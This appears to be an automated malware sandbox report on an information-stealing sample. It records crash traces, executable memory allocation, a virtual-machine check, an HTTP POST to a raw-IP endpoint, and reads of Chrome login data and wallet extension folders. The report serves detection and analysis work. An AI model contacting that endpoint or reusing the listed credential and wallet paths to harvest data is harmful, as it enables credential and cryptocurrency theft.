__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688712 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1684960623 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 3222375135	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688716 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1148809825 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 773132785	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3688720 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1919120229 registers.ebx: 0 registers.esi: 3688688 registers.ecx: 1792035125	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1835093618 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1281647681 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2553082321	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1818321775 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2840090847	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1702128705 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3918100945	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679632 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1952542322 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 1237799058	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679636 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1836008293 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 751900981	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679640 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1702131056 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 642348144	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679616 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1835093618 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679620 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1281647681 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2553082321	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679624 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1818321775 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 2840090847	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679628 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1702128705 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 3918100945	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679632 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1952542322 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 1237799058	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679636 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1836008293 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 751900981	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 3679640 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1702131056 registers.ebx: 0 registers.esi: 3679616 registers.ecx: 642348144	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564696 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 2020885364 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 13564696	1
__exception__ Nov. 9, 2023, 7:48 a.m.	stacktrace: IsValidAcl+0xe InitializeAcl-0x1f kernelbase+0x1c19d @ 0x755ac19d _GetSpecialResolution@0-0x346 1av35yr0+0x1319 @ 0x1261319 exception.instruction_r: 8a 03 3c 02 0f 82 de f7 02 00 3c 04 0f 87 d6 f7 exception.symbol: RtlValidAcl+0x13 RtlCreateSecurityDescriptor-0x5e ntdll+0x42c36 exception.instruction: mov al, byte ptr [ebx] exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 273462 exception.address: 0x778e2c36 registers.esp: 13564548 registers.edi: 13564700 registers.eax: 13564592 registers.ebp: 13564608 registers.edx: 1382310977 registers.ebx: 0 registers.esi: 13564696 registers.ecx: 4264358353	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, Connection to IP address

suspicious_request

POST http://193.233.255.73/loghub/master

Performs some HTTP requests (1 event)

request

POST http://193.233.255.73/loghub/master

Sends data using the HTTP POST Method (1 event)

request

POST http://193.233.255.73/loghub/master

Allocates read-write-execute memory (usually to unpack itself) (34 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 1460 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 1460 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2188 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73df5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cf2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00be0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73522000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ecb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ee2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00610000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00630000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00472000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0048c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c7a000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00711000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e0f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71d41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74711000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74001000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 7:48 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x712a1000 process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (4 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW Nov. 9, 2023, 7:48 a.m.	number_of_free_clusters: 2425671 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Nov. 9, 2023, 7:48 a.m.	number_of_free_clusters: 2425671 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Nov. 9, 2023, 7:48 a.m.	number_of_free_clusters: 2425574 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW Nov. 9, 2023, 7:48 a.m.	number_of_free_clusters: 2425574 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (50 out of 156 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielpathgobddffflal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnpath
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\gjagmgpathdbbciopjhllkdnddhcglnemk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\naepdomgkenhinolocfifgehpathddafch
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghpathoadd
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jhgnbkkipaallpehbohjmkbjofjdmepath
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fooolghllnmhmmndgjiamiiodkpenpbb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
